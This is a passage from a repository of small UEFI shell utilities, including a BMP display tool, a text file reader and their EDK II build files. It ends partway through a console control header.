├── LICENSE ├── MyApps ├── DisplayBMP │ ├── DisplayBMP.c │ ├── DisplayBMP.inf │ └── Logo.bmp ├── MyApps.dec ├── MyApps.dsc ├── ReadDemo1 │ ├── ReadDemo1.c │ └── ReadDemo1.inf ├── ScreenModes │ ├── .showgop.c.swp │ ├── ConsoleControl.h │ ├── ScreenModes.c │ ├── ScreenModes.inf │ └── UgaDraw.h ├── ShowBGRT │ ├── ShowBGRT.c │ └── ShowBGRT.inf ├── ShowECT │ ├── ShowECT.c │ └── ShowECT.inf ├── ShowEDID │ ├── ShowEDID.c │ └── ShowEDID.inf ├── ShowESRT │ ├── ShowESRT.c │ └── ShowESRT.inf ├── ShowMSDM │ ├── ShowMSDM.c │ └── ShowMSDM.inf ├── ShowOSIndication │ ├── ShowOSIndication.c │ └── ShowOSIndication.inf ├── ShowPCI │ ├── ShowPCI.c │ └── ShowPCI.inf ├── ShowPCIx │ ├── ShowPCIx.c │ └── ShowPCIx.inf ├── ShowPCR12 │ ├── ShowPCR12.c │ └── ShowPCR12.inf ├── ShowPCR20 │ ├── ShowPCR20.c │ └── ShowPCR20.inf ├── ShowRNG │ ├── ShowRNG.c │ └── ShowRNG.inf ├── ShowTCM20 │ ├── ShowTCM20.c │ └── ShowTCM20.inf ├── ShowTPM2 │ ├── ShowTPM2.c │ └── ShowTPM2.inf ├── ShowTrEE │ ├── ShowTrEE.c │ └── ShowTrEE.inf ├── ShowTrEELog │ ├── ShowTrEELog.c │ └── ShowTrEELog.inf ├── ThinkPwn │ ├── AppPkg.dsc │ ├── LICENSE.TXT │ ├── README.TXT │ ├── ThinkPwn.efi │ ├── ThinkPwn.inf │ ├── ThinkPwn.pdb │ └── src │ │ ├── ThinkPwn.c │ │ ├── hexdump.c │ │ └── hexdump.h ├── tpm_getpermflags │ ├── tpm_getpermflags.c │ └── tpm_getpermflags.inf └── tpm_getrandom │ ├── tpm_getrandom.c │ └── tpm_getrandom.inf └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2016, Finnbarr P. Murphy 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | * Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | * Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 15 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 16 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 18 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 20 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 21 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 22 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 23 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | -------------------------------------------------------------------------------- /MyApps/DisplayBMP/DisplayBMP.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2015 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Display a BMP image (Similar to the old LoadBMP utility) 5 | // 6 | // License: BSD License 7 | // 8 | 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | typedef struct { 26 | CHAR8 CharB; 27 | CHAR8 CharM; 28 | UINT32 Size; 29 | UINT16 Reserved[2]; 30 | UINT32 ImageOffset; 31 | UINT32 HeaderSize; 32 | UINT32 PixelWidth; 33 | UINT32 PixelHeight; 34 | UINT16 Planes; 35 | UINT16 BitPerPixel; 36 | UINT32 CompressionType; 37 | UINT32 ImageSize; 38 | UINT32 XPixelsPerMeter; 39 | UINT32 YPixelsPerMeter; 40 | UINT32 NumberOfColors; 41 | UINT32 ImportantColors; 42 | } __attribute__((__packed__)) BMP_IMAGE_HEADER; 43 | 44 | 45 | static VOID 46 | PressKey(BOOLEAN DisplayText) 47 | { 48 | 49 | EFI_INPUT_KEY Key; 50 | EFI_STATUS Status; 51 | UINTN EventIndex; 52 | 53 | if (DisplayText) { 54 | Print(L"\nPress any key to continue ....\n\n"); 55 | } 56 | 57 | gBS->WaitForEvent (1, &gST->ConIn->WaitForKey, &EventIndex); 58 | Status = gST->ConIn->ReadKeyStroke (gST->ConIn, &Key); 59 | } 60 | 61 | 62 | static VOID 63 | AsciiToUnicodeSize( CHAR8 *String, 64 | UINT8 length, 65 | CHAR16 *UniString) 66 | { 67 | int len = length; 68 | 69 | while (*String != '\0' && len > 0) { 70 | *(UniString++) = (CHAR16) *(String++); 71 | len--; 72 | } 73 | *UniString = '\0'; 74 | } 75 | 76 | 77 | EFI_STATUS 78 | DisplayImage( EFI_GRAPHICS_OUTPUT_PROTOCOL *Gop, 79 | EFI_HANDLE *BmpBuffer) 80 | { 81 | BMP_IMAGE_HEADER *BmpHeader = (BMP_IMAGE_HEADER *) BmpBuffer; 82 | EFI_GRAPHICS_OUTPUT_BLT_PIXEL *BltBuffer; 83 | EFI_STATUS Status = EFI_SUCCESS; 84 | UINT8 *BitmapData; 85 | UINT32 *Palette; 86 | UINTN Pixels; 87 | UINTN XIndex; 88 | UINTN YIndex; 89 | UINTN Pos; 90 | UINTN BltPos; 91 | 92 | BitmapData = (UINT8*)BmpBuffer + BmpHeader->ImageOffset; 93 | Palette = (UINT32*) ((UINT8*)BmpBuffer + 0x36); 94 | 95 | Pixels = BmpHeader->PixelWidth * BmpHeader->PixelHeight; 96 | BltBuffer = AllocateZeroPool( sizeof(EFI_GRAPHICS_OUTPUT_BLT_PIXEL) * Pixels); 97 | if (BltBuffer == NULL) { 98 | Print(L"ERROR: BltBuffer. No memory resources\n"); 99 | return EFI_OUT_OF_RESOURCES; 100 | } 101 | 102 | for (YIndex = BmpHeader->PixelHeight; YIndex > 0; YIndex--) { 103 | for (XIndex = 0; XIndex < BmpHeader->PixelWidth; XIndex++) { 104 | Pos = (YIndex - 1) * ((BmpHeader->PixelWidth + 3) / 4) * 4 + XIndex; 105 | BltPos = (BmpHeader->PixelHeight - YIndex) * BmpHeader->PixelWidth + XIndex; 106 | BltBuffer[BltPos].Blue = (UINT8) BitFieldRead32(Palette[BitmapData[Pos]], 0 , 7 ); 107 | BltBuffer[BltPos].Green = (UINT8) BitFieldRead32(Palette[BitmapData[Pos]], 8 , 15); 108 | BltBuffer[BltPos].Red = (UINT8) BitFieldRead32(Palette[BitmapData[Pos]], 16, 23); 109 | BltBuffer[BltPos].Reserved = (UINT8) BitFieldRead32(Palette[BitmapData[Pos]], 24, 31); 110 | } 111 | } 112 | 113 | 114 | Status = Gop->Blt( Gop, 115 | BltBuffer, 116 | EfiBltBufferToVideo, 117 | 0, 0, /* Source X, Y */ 118 | 50, 50, /* Dest X, Y */ 119 | BmpHeader->PixelWidth, BmpHeader->PixelHeight, 120 | 0); 121 | 122 | FreePool(BltBuffer); 123 | 124 | return Status; 125 | } 126 | 127 | 128 | // 129 | // Print the BMP header details 130 | // 131 | EFI_STATUS 132 | PrintBMP( EFI_HANDLE *BmpBuffer) 133 | { 134 | BMP_IMAGE_HEADER *BmpHeader = (BMP_IMAGE_HEADER *)BmpBuffer; 135 | EFI_STATUS Status = EFI_SUCCESS; 136 | CHAR16 Buffer[100]; 137 | 138 | // not BMP format 139 | if (BmpHeader->CharB != 'B' || BmpHeader->CharM != 'M') { 140 | Print(L"ERROR: Unsupported image format\n"); 141 | return EFI_UNSUPPORTED; 142 | } 143 | 144 | // BITMAPINFOHEADER format unsupported 145 | if (BmpHeader->HeaderSize != sizeof (BMP_IMAGE_HEADER) \ 146 | - ((UINTN) &(((BMP_IMAGE_HEADER *)0)->HeaderSize))) { 147 | Print(L"ERROR: Unsupported BITMAPFILEHEADER\n"); 148 | return EFI_UNSUPPORTED; 149 | } 150 | 151 | // compression type not 0 152 | if (BmpHeader->CompressionType != 0) { 153 | Print(L"ERROR: Compression type not 0\n"); 154 | return EFI_UNSUPPORTED; 155 | } 156 | 157 | // unsupported bits per pixel 158 | if (BmpHeader->BitPerPixel != 4 && 159 | BmpHeader->BitPerPixel != 8 && 160 | BmpHeader->BitPerPixel != 12 && 161 | BmpHeader->BitPerPixel != 24) { 162 | Print(L"ERROR: Bits per pixel is not one of 4, 8, 12 or 24\n"); 163 | return EFI_UNSUPPORTED; 164 | } 165 | 166 | Print(L"\n"); 167 | AsciiToUnicodeSize((CHAR8 *)BmpHeader, 2, Buffer); 168 | Print(L"BMP Signature : %s\n", Buffer); 169 | Print(L"Size : %d\n", BmpHeader->Size); 170 | Print(L"Image Offset : %d\n", BmpHeader->ImageOffset); 171 | Print(L"Header Size : %d\n", BmpHeader->HeaderSize); 172 | Print(L"Image Width : %d\n", BmpHeader->PixelWidth); 173 | Print(L"Image Height : %d\n", BmpHeader->PixelHeight); 174 | Print(L"Planes : %d\n", BmpHeader->Planes); 175 | Print(L"Bit Per Pixel : %d\n", BmpHeader->BitPerPixel); 176 | Print(L"Compression Type : %d\n", BmpHeader->CompressionType); 177 | Print(L"Image Size : %d\n", BmpHeader->ImageSize); 178 | Print(L"X Pixels Per Meter: %d\n", BmpHeader->XPixelsPerMeter); 179 | Print(L"Y Pixels Per Meter: %d\n", BmpHeader->YPixelsPerMeter); 180 | Print(L"Number of Colors : %d\n", BmpHeader->NumberOfColors); 181 | Print(L"Important Colors : %d\n", BmpHeader->ImportantColors); 182 | 183 | return Status; 184 | } 185 | 186 | 187 | 188 | static void 189 | Usage(void) 190 | { 191 | Print(L"Usage: DisplayBMP [-v | --verbose] [-l | --lowest] BMPfile\n"); 192 | } 193 | 194 | 195 | INTN 196 | EFIAPI 197 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 198 | { 199 | EFI_STATUS Status = EFI_SUCCESS; 200 | EFI_HANDLE *HandleBuffer = NULL; 201 | UINTN HandleCount = 0; 202 | EFI_GRAPHICS_OUTPUT_PROTOCOL *Gop; 203 | SHELL_FILE_HANDLE FileHandle; 204 | EFI_FILE_INFO *FileInfo = NULL; 205 | EFI_HANDLE *FileBuffer = NULL; 206 | BOOLEAN Verbose = FALSE; 207 | UINTN FileSize; 208 | int OrgMode, NewMode = 0, Pixels = 0; 209 | BOOLEAN LowerHandle = FALSE; 210 | 211 | 212 | if (Argc == 1) { 213 | Usage(); 214 | return Status; 215 | } 216 | 217 | for (int i = 1; i < Argc - 1; i++) { 218 | if (!StrCmp(Argv[i], L"--verbose") || 219 | !StrCmp(Argv[i], L"-v")) { 220 | Verbose = TRUE; 221 | } else if (!StrCmp(Argv[i], L"--help") || 222 | !StrCmp(Argv[i], L"-h") || 223 | !StrCmp(Argv[i], L"-?")) { 224 | Usage(); 225 | return Status; 226 | } else if (!StrCmp(Argv[i], L"--lowest") || 227 | !StrCmp(Argv[i], L"-l")) { 228 | LowerHandle = TRUE; 229 | } else { 230 | Print(L"ERROR: Unknown option.\n"); 231 | Usage(); 232 | return Status; 233 | } 234 | } 235 | 236 | // Open the file ( has to be LAST arguement on command line ) 237 | Status = ShellOpenFileByName( Argv[Argc - 1], 238 | &FileHandle, 239 | EFI_FILE_MODE_READ , 0); 240 | if (EFI_ERROR (Status)) { 241 | Print(L"ERROR: Could not open specified file [%d]\n", Status); 242 | return Status; 243 | } 244 | 245 | // Allocate buffer for file contents 246 | FileInfo = ShellGetFileInfo(FileHandle); 247 | FileBuffer = AllocateZeroPool( (UINTN)FileInfo -> FileSize); 248 | if (FileBuffer == NULL) { 249 | Print(L"ERROR: File buffer. No memory resources\n"); 250 | return (SHELL_OUT_OF_RESOURCES); 251 | } 252 | 253 | // Read file contents into allocated buffer 254 | FileSize = (UINTN) FileInfo->FileSize; 255 | Status = ShellReadFile(FileHandle, &FileSize, FileBuffer); 256 | if (EFI_ERROR (Status)) { 257 | Print(L"ERROR: ShellReadFile failed [%d]\n", Status); 258 | goto cleanup; 259 | } 260 | 261 | ShellCloseFile(&FileHandle); 262 | 263 | if (Verbose) { 264 | PrintBMP(FileBuffer); 265 | PressKey(TRUE); 266 | } 267 | 268 | // Try locating GOP by handle 269 | Status = gBS->LocateHandleBuffer( ByProtocol, 270 | &gEfiGraphicsOutputProtocolGuid, 271 | NULL, 272 | &HandleCount, 273 | &HandleBuffer); 274 | if (EFI_ERROR (Status)) { 275 | Print(L"ERROR: No GOP handles found via LocateHandleBuffer\n"); 276 | goto cleanup; 277 | } else { 278 | Print(L"Found %d GOP handles via LocateHandleBuffer\n", HandleCount); 279 | if (LowerHandle) 280 | HandleCount = 0; 281 | else 282 | HandleCount--; 283 | 284 | Status = gBS->OpenProtocol( HandleBuffer[HandleCount], 285 | &gEfiGraphicsOutputProtocolGuid, 286 | (VOID **)&Gop, 287 | gImageHandle, 288 | NULL, 289 | EFI_OPEN_PROTOCOL_BY_HANDLE_PROTOCOL); 290 | if (EFI_ERROR (Status)) { 291 | Print(L"ERROR: OpenProtocol [%d]\n", Status); 292 | goto cleanup; 293 | } 294 | 295 | FreePool(HandleBuffer); 296 | } 297 | 298 | // Figure out maximum resolution and use it 299 | OrgMode = Gop->Mode->Mode; 300 | for (int i = 0; i < Gop->Mode->MaxMode; i++) { 301 | EFI_GRAPHICS_OUTPUT_MODE_INFORMATION *Info; 302 | UINTN SizeOfInfo; 303 | 304 | Status = Gop->QueryMode(Gop, i, &SizeOfInfo, &Info); 305 | if (EFI_ERROR(Status) && Status == EFI_NOT_STARTED) { 306 | Gop->SetMode(Gop, Gop->Mode->Mode); 307 | Status = Gop->QueryMode(Gop, i, &SizeOfInfo, &Info); 308 | } 309 | if (EFI_ERROR(Status)) { 310 | continue; 311 | } 312 | if (Info->PixelsPerScanLine > Pixels) { 313 | Pixels = Info->PixelsPerScanLine; 314 | NewMode = i; 315 | } 316 | } 317 | 318 | // change screen mode 319 | Status = Gop->SetMode(Gop, NewMode); 320 | if (EFI_ERROR (Status)) { 321 | Print(L"ERROR: SetMode [%d]\n, Status"); 322 | goto cleanup; 323 | } 324 | 325 | DisplayImage(Gop, FileBuffer); 326 | 327 | // reset screen to original mode 328 | PressKey(FALSE); 329 | Status = Gop->SetMode(Gop, OrgMode); 330 | 331 | 332 | cleanup: 333 | 334 | FreePool(FileBuffer); 335 | return Status; 336 | } 337 | -------------------------------------------------------------------------------- /MyApps/DisplayBMP/DisplayBMP.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = DisplayBMP 4 | FILE_GUID = 4ea87c54-7895-4dcd-0455-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | [Sources] 11 | DisplayBMP.c 12 | 13 | [Packages] 14 | MdePkg/MdePkg.dec 15 | ShellPkg/ShellPkg.dec 16 | 17 | [LibraryClasses] 18 | ShellCEntryLib 19 | ShellLib 20 | BaseLib 21 | BaseMemoryLib 22 | UefiLib 23 | 24 | [Protocols] 25 | 26 | [BuildOptions] 27 | 28 | [Pcd] 29 | 30 | -------------------------------------------------------------------------------- /MyApps/DisplayBMP/Logo.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fpmurphy/UEFI-Utilities-2016/71ce611753c2960e5e7ceb5cc23a5faaa95fbf9f/MyApps/DisplayBMP/Logo.bmp -------------------------------------------------------------------------------- /MyApps/MyApps.dec: -------------------------------------------------------------------------------- 1 | 2 | [Defines] 3 | DEC_SPECIFICATION = 0x00010005 4 | PACKAGE_NAME = MyApps 5 | PACKAGE_GUID = B3E3D3D5-D62B-4497-A175-264F489D127E 6 | PACKAGE_VERSION = 0.01 7 | 8 | [Guids] 9 | gAppPkgTokenSpaceGuid = { 0xe7e1efa6, 0x7607, 0x4a78, { 0xa7, 0xdd, 0x43, 0xe4, 0xbd, 0x72, 0xc0, 0x99 }} 10 | gEfiTrEEProtocolGuid = {0x607f766c, 0x7455, 0x42be, { 0x93, 0x0b, 0xe4, 0xd7, 0x6d, 0xb2, 0x72, 0x0f }} 11 | 12 | [PcdsFixedAtBuild] 13 | -------------------------------------------------------------------------------- /MyApps/MyApps.dsc: -------------------------------------------------------------------------------- 1 | 2 | [Defines] 3 | PLATFORM_NAME = MyApps 4 | PLATFORM_GUID = 0458dade-8b6e-4e45-b773-1b27cbda3e06 5 | PLATFORM_VERSION = 0.01 6 | DSC_SPECIFICATION = 0x00010006 7 | OUTPUT_DIRECTORY = Build/MyApps 8 | SUPPORTED_ARCHITECTURES = X64 9 | BUILD_TARGETS = DEBUG|RELEASE|NOOPT 10 | SKUID_IDENTIFIER = DEFAULT 11 | 12 | # 13 | # Debug output control 14 | # 15 | DEFINE DEBUG_ENABLE_OUTPUT = FALSE # Set to TRUE to enable debug output 16 | DEFINE DEBUG_PRINT_ERROR_LEVEL = 0x80000040 # Flags to control amount of debug output 17 | DEFINE DEBUG_PROPERTY_MASK = 0 18 | 19 | [PcdsFeatureFlag] 20 | 21 | [PcdsFixedAtBuild] 22 | gEfiMdePkgTokenSpaceGuid.PcdDebugPropertyMask|$(DEBUG_PROPERTY_MASK) 23 | gEfiMdePkgTokenSpaceGuid.PcdDebugPrintErrorLevel|$(DEBUG_PRINT_ERROR_LEVEL) 24 | 25 | [PcdsFixedAtBuild.IPF] 26 | 27 | [LibraryClasses] 28 | # 29 | # Entry Point Libraries 30 | # 31 | UefiApplicationEntryPoint|MdePkg/Library/UefiApplicationEntryPoint/UefiApplicationEntryPoint.inf 32 | ShellCEntryLib|ShellPkg/Library/UefiShellCEntryLib/UefiShellCEntryLib.inf 33 | UefiDriverEntryPoint|MdePkg/Library/UefiDriverEntryPoint/UefiDriverEntryPoint.inf 34 | # 35 | # Common Libraries 36 | # 37 | BaseLib|MdePkg/Library/BaseLib/BaseLib.inf 38 | BaseMemoryLib|MdePkg/Library/BaseMemoryLib/BaseMemoryLib.inf 39 | UefiLib|MdePkg/Library/UefiLib/UefiLib.inf 40 | PrintLib|MdePkg/Library/BasePrintLib/BasePrintLib.inf 41 | PcdLib|MdePkg/Library/BasePcdLibNull/BasePcdLibNull.inf 42 | MemoryAllocationLib|MdePkg/Library/UefiMemoryAllocationLib/UefiMemoryAllocationLib.inf 43 | UefiBootServicesTableLib|MdePkg/Library/UefiBootServicesTableLib/UefiBootServicesTableLib.inf 44 | UefiRuntimeServicesTableLib|MdePkg/Library/UefiRuntimeServicesTableLib/UefiRuntimeServicesTableLib.inf 45 | !if $(DEBUG_ENABLE_OUTPUT) 46 | DebugLib|MdePkg/Library/UefiDebugLibConOut/UefiDebugLibConOut.inf 47 | DebugPrintErrorLevelLib|MdePkg/Library/BaseDebugPrintErrorLevelLib/BaseDebugPrintErrorLevelLib.inf 48 | !else ## DEBUG_ENABLE_OUTPUT 49 | DebugLib|MdePkg/Library/BaseDebugLibNull/BaseDebugLibNull.inf 50 | !endif ## DEBUG_ENABLE_OUTPUT 51 | 52 | DevicePathLib|MdePkg/Library/UefiDevicePathLib/UefiDevicePathLib.inf 53 | PeCoffGetEntryPointLib|MdePkg/Library/BasePeCoffGetEntryPointLib/BasePeCoffGetEntryPointLib.inf 54 | IoLib|MdePkg/Library/BaseIoLibIntrinsic/BaseIoLibIntrinsic.inf 55 | PciLib|MdePkg/Library/BasePciLibCf8/BasePciLibCf8.inf 56 | PciCf8Lib|MdePkg/Library/BasePciCf8Lib/BasePciCf8Lib.inf 57 | SynchronizationLib|MdePkg/Library/BaseSynchronizationLib/BaseSynchronizationLib.inf 58 | UefiRuntimeLib|MdePkg/Library/UefiRuntimeLib/UefiRuntimeLib.inf 59 | HiiLib|MdeModulePkg/Library/UefiHiiLib/UefiHiiLib.inf 60 | UefiHiiServicesLib|MdeModulePkg/Library/UefiHiiServicesLib/UefiHiiServicesLib.inf 61 | PerformanceLib|MdeModulePkg/Library/DxePerformanceLib/DxePerformanceLib.inf 62 | HobLib|MdePkg/Library/DxeHobLib/DxeHobLib.inf 63 | FileHandleLib|MdePkg/Library/UefiFileHandleLib/UefiFileHandleLib.inf 64 | SortLib|MdeModulePkg/Library/UefiSortLib/UefiSortLib.inf 65 | 66 | ShellLib|ShellPkg/Library/UefiShellLib/UefiShellLib.inf 67 | ShellCommandLib|ShellPkg/Library/UefiShellCommandLib/UefiShellCommandLib.inf 68 | HandleParsingLib|ShellPkg/Library/UefiHandleParsingLib/UefiHandleParsingLib.inf 69 | 70 | CacheMaintenanceLib|MdePkg/Library/BaseCacheMaintenanceLib/BaseCacheMaintenanceLib.inf 71 | 72 | [Components] 73 | 74 | #### Applications. 75 | # MyApps/HelloWorld/HelloWorld.inf 76 | # MyApps/Hello/Hello.inf 77 | # MyApps/WriteDemo/WriteDemo.inf 78 | # MyApps/ScreenCapture/ScreenCapture.inf 79 | # MyApps/ShowESRT/ShowESRT.inf 80 | # MyApps/ShowMSDM/ShowMSDM.inf 81 | # MyApps/ShowECT/ShowECT.inf 82 | # MyApps/ShowBGRT/ShowBGRT.inf 83 | # MyApps/ScreenModes/ScreenModes.inf 84 | # MyApps/DisplayBMP/DisplayBMP.inf 85 | # MyApps/ShowEDID/ShowEDID.inf 86 | # MyApps/ShowTrEE/ShowTrEE.inf 87 | # MyApps/ShowTrEELog/ShowTrEELog.inf 88 | # MyApps/ShowTCM20/ShowTCM20.inf 89 | # MyApps/ShowEK/ShowEK.inf 90 | # MyApps/tpm_getpermflags/tpm_getpermflags.inf 91 | # MyApps/tpm_getrandom/tpm_getrandom.inf 92 | # MyApps/ShowTPM2/ShowTPM2.inf 93 | # MyApps/ShowOSIndications/ShowOSIndications.inf 94 | # MyApps/ShowRNG/ShowRNG.inf 95 | # MyApps/CheckSMM/CheckSMM.inf 96 | # MyApps/ThinkPwn/ThinkPwn.inf 97 | # MyApps/ShowPCR12/ShowPCR12.inf 98 | # MyApps/CheckFTP4/CheckFTP4.inf 99 | # MyApps/ShowPCR20/ShowPCR20.inf 100 | # MyApps/ReadDemo1/ReadDemo1.inf 101 | # MyApps/ShowPCI/ShowPCI.inf 102 | MyApps/ShowPCIx/ShowPCIx.inf 103 | -------------------------------------------------------------------------------- /MyApps/ReadDemo1/ReadDemo1.c: -------------------------------------------------------------------------------- 1 | // 2 | // Copyright (c) 2017 Finnbarr P. Murphy. All rights reserved. 3 | // 4 | // Print contents of ASCII file 5 | // Demonstrates uss of EFI_SHELL_PROTOCOL functions 6 | // 7 | // License: BSD License 8 | // 9 | 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | #include 29 | #include 30 | 31 | #define UTILITY_VERSION L"0.8" 32 | #define LINE_MAX 1024 33 | 34 | 35 | VOID 36 | Usage(CHAR16 *Str) 37 | { 38 | Print(L"Usage: %s [--version | --help ]\n", Str); 39 | Print(L" %s [--number] [--nocomment] filename\n", Str); 40 | } 41 | 42 | 43 | INTN 44 | EFIAPI 45 | ShellAppMain(UINTN Argc, CHAR16 **Argv) 46 | { 47 | EFI_STATUS Status = EFI_SUCCESS; 48 | SHELL_FILE_HANDLE InFileHandle; 49 | CHAR16 *FileName; 50 | CHAR16 *FullFileName; 51 | CHAR16 *ReadLine; 52 | CHAR16 *Walker; 53 | BOOLEAN Ascii = TRUE; 54 | BOOLEAN NoComment = FALSE; 55 | BOOLEAN LineNumber = FALSE; 56 | UINTN Size = LINE_MAX; 57 | UINTN LineNo = 0; 58 | int i; 59 | 60 | if (Argc < 2 || Argc > 4) { 61 | Usage(Argv[0]); 62 | return Status; 63 | } 64 | 65 | for (i = 1; i < Argc; i++) { 66 | Walker = (CHAR16 *)Argv[i]; 67 | if (!StrCmp(Argv[i], L"--version") || 68 | !StrCmp(Argv[i], L"-V")) { 69 | Print(L"Version: %s\n", UTILITY_VERSION); 70 | return Status; 71 | } else if (!StrCmp(Argv[i], L"--help") || 72 | !StrCmp(Argv[i], L"-h") || 73 | !StrCmp(Argv[i], L"-?")) { 74 | Usage(Argv[0]); 75 | return Status; 76 | } else if (!StrCmp(Argv[i], L"--nocomment")) { 77 | NoComment = TRUE; 78 | } else if (!StrCmp(Argv[i], L"--number")) { 79 | LineNumber = TRUE; 80 | } else if (*Walker != L'-') { 81 | break; 82 | } else { 83 | Print(L"ERROR: Unknown option.\n"); 84 | Usage(Argv[0]); 85 | return Status; 86 | } 87 | } 88 | 89 | 90 | FileName = AllocateCopyPool(StrSize(Argv[i]), Argv[i]); 91 | if (FileName == NULL) { 92 | Print(L"ERROR: Could not allocate memory\n"); 93 | return (EFI_OUT_OF_RESOURCES); 94 | } 95 | 96 | FullFileName = ShellFindFilePath(FileName); 97 | if (FullFileName == NULL) { 98 | Print(L"ERROR: Could not find %s\n", FileName); 99 | Status = EFI_NOT_FOUND; 100 | goto Error; 101 | } 102 | 103 | // open the file 104 | Status = ShellOpenFileByName(FullFileName, &InFileHandle, EFI_FILE_MODE_READ, 0); 105 | if (EFI_ERROR(Status)) { 106 | Print(L"ERROR: Could not open file\n"); 107 | goto Error; 108 | } 109 | 110 | // allocate a buffer to read lines into 111 | ReadLine = AllocateZeroPool(Size); 112 | if (ReadLine == NULL) { 113 | Print(L"ERROR: Could not allocate memory\n"); 114 | Status = EFI_OUT_OF_RESOURCES; 115 | goto Error; 116 | } 117 | 118 | // read file line by line 119 | for (;!ShellFileHandleEof(InFileHandle); Size = 1024) { 120 | 121 | Status = ShellFileHandleReadLine(InFileHandle, ReadLine, &Size, TRUE, &Ascii); 122 | if (Status == EFI_BUFFER_TOO_SMALL) { 123 | Status = EFI_SUCCESS; 124 | } 125 | if (EFI_ERROR(Status)) { 126 | break; 127 | } 128 | 129 | LineNo++; 130 | 131 | // Skip comment lines 132 | if (ReadLine[0] == L'#' && NoComment) { 133 | continue; 134 | } 135 | 136 | if (LineNumber) { 137 | Print(L"%0.4d ", LineNo); 138 | } 139 | Print(L"%s\n", ReadLine); 140 | } 141 | 142 | Error: 143 | if (FileName != NULL) { 144 | FreePool(FileName); 145 | } 146 | if (FullFileName != NULL) { 147 | FreePool(FullFileName); 148 | } 149 | if (ReadLine != NULL) { 150 | FreePool(ReadLine); 151 | } 152 | if (InFileHandle != NULL) { 153 | ShellCloseFile(&InFileHandle); 154 | } 155 | 156 | return Status; 157 | } 158 | -------------------------------------------------------------------------------- /MyApps/ReadDemo1/ReadDemo1.inf: -------------------------------------------------------------------------------- 1 | [Defines] 2 | INF_VERSION = 0x00010006 3 | BASE_NAME = ReadDemo1 4 | FILE_GUID = 4ea87c51-7491-4dfd-0055-747010f3ce51 5 | MODULE_TYPE = UEFI_APPLICATION 6 | VERSION_STRING = 0.1 7 | ENTRY_POINT = ShellCEntryLib 8 | VALID_ARCHITECTURES = X64 9 | 10 | 11 | 12 | [Sources] 13 | ReadDemo1.c 14 | 15 | 16 | [Packages] 17 | MdePkg/MdePkg.dec 18 | ShellPkg/ShellPkg.dec 19 | 20 | 21 | [LibraryClasses] 22 | ShellCEntryLib 23 | ShellLib 24 | ShellCommandLib 25 | BaseLib 26 | BaseMemoryLib 27 | UefiLib 28 | 29 | [Protocols] 30 | 31 | [BuildOptions] 32 | 33 | [Pcd] 34 | 35 | -------------------------------------------------------------------------------- /MyApps/ScreenModes/.showgop.c.swp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/fpmurphy/UEFI-Utilities-2016/71ce611753c2960e5e7ceb5cc23a5faaa95fbf9f/MyApps/ScreenModes/.showgop.c.swp -------------------------------------------------------------------------------- /MyApps/ScreenModes/ConsoleControl.h: -------------------------------------------------------------------------------- 1 | /*++ 2 | 3 | Copyright (c) 2004 - 2010, Intel Corporation. All rights reserved.
4 | This program and the accompanying materials 5 | are licensed and made available under the terms and conditions of the BSD License 6 | which accompanies this distribution. The full text of the license may be found at 7 | http://opensource.org/licenses/bsd-license.php 8 | 9 | THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, 10 | WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. 11 | 12 | Module Name: 13 | 14 | ConsoleControl.h 15 | 16 | Abstract: 17 | 18 | Abstraction of a Text mode or GOP/UGA screen 19 | 20 | --*/ 21 | 22 | #ifndef __CONSOLE_CONTROL_H__ 23 | #define __CONSOLE_CONTROL_H__ 24 | 25 | #define EFI_CONSOLE_CONTROL_PROTOCOL_GUID \ 26 | { 0xf42f7782, 0x12e, 0x4c12, {0x99, 0x56, 0x49, 0xf9, 0x43, 0x4, 0xf7, 0x21} } 27 | 28 | typedef struct _EFI_CONSOLE_CONTROL_PROTOCOL EFI_CONSOLE_CONTROL_PROTOCOL; 29 | 30 | 31 | typedef enum { 32 | EfiConsoleControlScreenText, 33 | EfiConsoleControlScreenGraphics, 34 | EfiConsoleControlScreenMaxValue 35 | } EFI_CONSOLE_CONTROL_SCREEN_MODE; 36 | 37 | 38 | typedef 39 | EFI_STATUS 40 | (EFIAPI 